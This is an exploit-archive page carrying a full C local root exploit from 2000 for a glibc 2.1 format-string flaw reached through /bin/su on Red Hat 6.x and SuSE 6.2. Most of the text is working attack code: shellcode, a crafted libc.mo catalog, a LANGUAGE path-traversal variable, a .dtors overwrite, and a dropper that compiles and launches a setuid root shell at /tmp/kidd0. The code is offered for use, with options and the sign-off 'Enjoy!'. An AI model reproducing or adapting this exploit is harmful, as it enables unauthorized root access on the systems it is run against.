what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

libc-language.su.c

libc-language.su.c
Posted Dec 3, 2000
Authored by Doing

Glibc 2.1 + /bin/su local root exploit. Tested on Redhat 6.2, 6.1, and SuSE 6.2.

tags | exploit, local, root
systems | linux, redhat, suse
SHA-256 | 3b8551005bb76b0f86b59553d698f22a5a05b785634f1f4f7e8c60bdb0459e09

libc-language.su.c

Change Mirror Download
/*
*
* Working exploit for glibc executing /bin/su
*
* To exploit this i have used a technique that
* overwrites the .dtors section of /bin/su program
* with the address of the shellcode, so, the program
* executes it when main returns or exit() is called
*
* Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for
* explaining me this technique :)
*
* The address of .dtors section can be easily obtained
* with objdump -h filename.
*
* One the address of .dtors is known, the shellcode is
* pushed in a env var with a lot of nops, and the size
* of the "piece" of stack that must be "eaten" is calculated
* with a loop. At this point, we know the exact values of
* all parameters exept the address of the shellcode, but this
* value can be guessed with a little work :)
*
* Tested on: Red Hat 6.2, 6.1
* SuSE 6.2
*
* Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY... (y todos los que me
olvido)
*
*
* Doing / localcore - doing@netsearch-ezine.com
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;

char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
char execbuf[1024];
unsigned long dtors_addr = 0xAABBCCDD;
unsigned long sh_addr = 0xBFFFFFFF;
FILE *f;
char *env[3];
char *args[6];
int eat = 0, pad = 0, fd;
char *nop_env;
int offset = 5000;
struct stat st;
int pid, c;
char randfile[1024];
char *args2[2], opt;

printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s [options]\n", argv[0]);
printf(" -o offset [default: 5000]\n");
printf(" -n nops [default: 12000]\n");
printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
printf(" -O path to objdump [default: /usr/bin/objdump]\n");
printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
printf(" -l language set language used in env var [default: search
it]\n");
printf("Enjoy!\n\n");

while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
switch(opt) {
case 'o':
offset = atoi(optarg);
break;
case 'n':
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O':
objdump = strdup(optarg);
break;
case 'e':
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 'l':
language = (char*) malloc(40 + strlen(optarg));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:
exit(0);
}

printf("Phase 1. Checking paths and write permisions\n");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);

printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
printf("failed. cannot stat /tmp\naborting\n");
exit(0);
}

if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it's not +w\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);

printf(" Checking read permisions on /bin/su...");
if (stat("/bin/su", &st) < 0) {
printf("failed. cannot stat /bin/su\naborting\n");
exit(0);
}

if (!(st.st_mode & S_IROTH)) {
printf("failed. /bin/su it's not +r\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);

if (!language) {
printf(" Checking for a valid language...");
search_valid_language();
printf("Ok\n");
}

printf(" Checking that %s does not exist...", LC_MESSAGES);
if (stat(LC_MESSAGES, &st) >= 0) {
printf("failed. %s exists\naborting\n", LC_MESSAGES);
exit(0);
}
printf("Ok\n");
fflush(stdout);

printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));

if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
else {
calculate_eat_space(&eat, &pad);
printf("done\n eat = %i and pad = %i\n", eat, pad);
}
fflush(stdout);

sh_addr -= offset;

printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
fflush(stdout);

mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);

f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
fclose(f);

sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
system(execbuf);

nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);

env[0] = language;
env[1] = NULL;

printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();
printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);

printf("Phase 5. Compiling suid shell\n");
fflush(stdout);

make_suid_shell();

printf("Phase 6. Executing /bin/su\n");
fflush(stdout);

args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(dtors_addr, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;

sprintf(randfile, "/tmp/tmprand%i", rand());

if (!(pid = fork())) {
close(1);
close(2);
fd = open(randfile, O_CREAT | O_RDWR);
dup2(fd, 1);
dup2(fd, 2);
execve(args[0], args, env);
printf("failed to exec /bin/su\n"); exit(0);
}

if (pid < 0) {
perror("fork()");
exit(0);
}

waitpid(pid, &c, 0);

unlink(randfile);

stat("/tmp/kidd0", &st);
if (!(S_ISUID & st.st_mode)) {
printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
exit(0);
}

printf(" - Entering rootshell ;-) -\n");
fflush(stdout);

if (!(pid = fork())) {
args2[0] = "/tmp/kidd0";
args2[1] = NULL;
execve(args2[0], args2, NULL);
printf("failed to exec /tmp/kidd0\n");
exit(0);
}

if (pid < 0) {
perror("fork()");
exit(0);
}

waitpid(pid, &c, 0);

printf("Phase 7. Cleaning enviroment\n");
sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
system(execbuf);
}

char ret_make_format[0xffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{
char *ret = ret_make_format;
int c, waste;
int hi, lo;

memset(ret, 0, 0xffff);

for (c = 0; c < eat; c++) strcat(ret, "%8x");

waste = 8 * eat;

hi = (sh_addr & 0xffff0000) >> 16;
lo = (sh_addr & 0xffff) - hi;
if (!test) {
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
}
else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
return ret;
}

unsigned long get_dtors_addr()
{
char exec_buf[1024];
char file[128];
char buf[1024], sect[1024];
FILE *f;
unsigned long ret = 0, tmp1, tmp2, tmp3;

sprintf(file, "/tmp/tmprand%i", rand());
sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);

system(exec_buf);

f = fopen(file, "r");
if (!f) {
perror("fopen()");
exit(0);
}

while (!feof(f)) {
fgets(buf, 1024, f);
sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
printf("."); fflush(stdout);
if (strcmp(sect, "dtors")) continue;
ret = tmp3;
break;
}

unlink(file);

if (!ret) {
printf("error getting the address of .dtors\naborting");
exit(0);
}

return ret+4;
}

char ret_make_ret_str[0xffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{
char *ret = ret_make_ret_str, *ptr2;
unsigned long *ptr = (unsigned long*) ret;
int c;

memset(ret, 0, 0xffff);

*ptr = dtors_addr+2;
*(ptr+1) = 0xAABBCCDD;
*(ptr+2) = dtors_addr;

ptr2 = &ret[strlen(ret)];
while (pad--)
*(ptr2++) = 0xaa;

return ret;
}

void calculate_eat_space(int *eatr, int *padr)
{
int eat = 0, pad = 0;
char tmpfile[128];
FILE *f;
char execbuf[1024];
int fds[2], tmpfd;
unsigned long test_value = 0xAABBCCDD;
char *nop_env;
char *env[2];
char *args[6];
char buf[1024];
int l, pid;
struct stat st;
char *readbuf = NULL, *token;
unsigned long t1, t2;

tmpfile[0] = '\0';

nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);

for (eat = 50; eat < 200; eat++) {
for (pad = 0; pad < 4; pad++) {

if (tmpfile[0]) unlink(tmpfile);

chdir("/");

sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);

mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);

f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}

fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
fclose(f);

sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
system(execbuf);

pipe(&fds);

if (!(pid = fork())) {

close(fds[0]);
close(1);
close(2);

dup2(fds[1], 1);
dup2(fds[1], 2);

env[0] = language;
env[1] = NULL;

args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_value, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;

execve(args[0], args, env);
}

if (pid < 0) {
perror("fork()");
exit(0);
}

close(fds[1]);

sprintf(tmpfile, "/tmp/tmprand%i", rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);
if (tmpfd < 0) {
perror("open()");
exit(0);
}
while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
close(tmpfd);

waitpid(pid, &l, 0);

stat(tmpfile, &st);

chmod(tmpfile, 0777);

f = fopen(tmpfile, "r");
if (!f) {
perror("fopen()");
exit(0);
}

if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
printf("malloc failed\naborting\n");
exit(0);
}

memset(readbuf, 0, st.st_size);

fread(readbuf, 1, st.st_size, f);
fclose(f);

token = strtok(readbuf, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;

t1 = strtoul(token, NULL, 16);
token = strtok(NULL, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t2 = strtoul(token, NULL, 16);

if (t2 == test_value)
if (t1 == (test_value+2)) {
*eatr = eat;
*padr = pad;
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
if (tmpfile[0]) unlink(tmpfile);
return;
}

// sleep(10);
}
printf(".");
fflush(stdout);
}

if (tmpfile[0]) unlink(tmpfile);
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);

printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
exit(0);
}

void checkfor(char *p)
{
int fd;
fd = open(p, O_RDONLY);
if (fd < 0) {
printf("failed\naborting\n");
exit(0);
}
close(fd);
printf("Ok\n");
fflush(stdout);
}

void make_suid_shell()
{
FILE *f;
char execbuf[1024];

f = fopen("/tmp/kidd0.c", "w");
if (!f) {
printf(" failed to create /tmp/kidd0.c\naborting\n");
exit(0);
}

fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
fclose(f);

sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
system(execbuf);

sprintf(execbuf, "rm -f /tmp/kidd0.c");
system(execbuf);

f = fopen("/tmp/kidd0", "r");
if (!f) {
printf(" failed to compile /tmp/kidd0.c\naborting\n");
exit(0);
}
fclose(f);

printf(" /tmp/kidd0 created Ok\n");
fflush(stdout);
}

void search_valid_language()
{
DIR *locale;
struct dirent *dentry;

locale = opendir("/usr/share/locale");
if (!locale) {
perror("failed to opendir /usr/share/locale");
printf("aborting\n");
exit(0);
}

while (dentry = readdir(locale)) {

if (!strchr(dentry->d_name, '_')) continue;

language = (char*) malloc(40 + strlen(dentry->d_name));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(dentry->d_name));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
dentry->d_name);
closedir(locale);
printf(" [using %s] ", dentry->d_name);
return;
}

printf("failed to find a valid language\naborting\n");
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close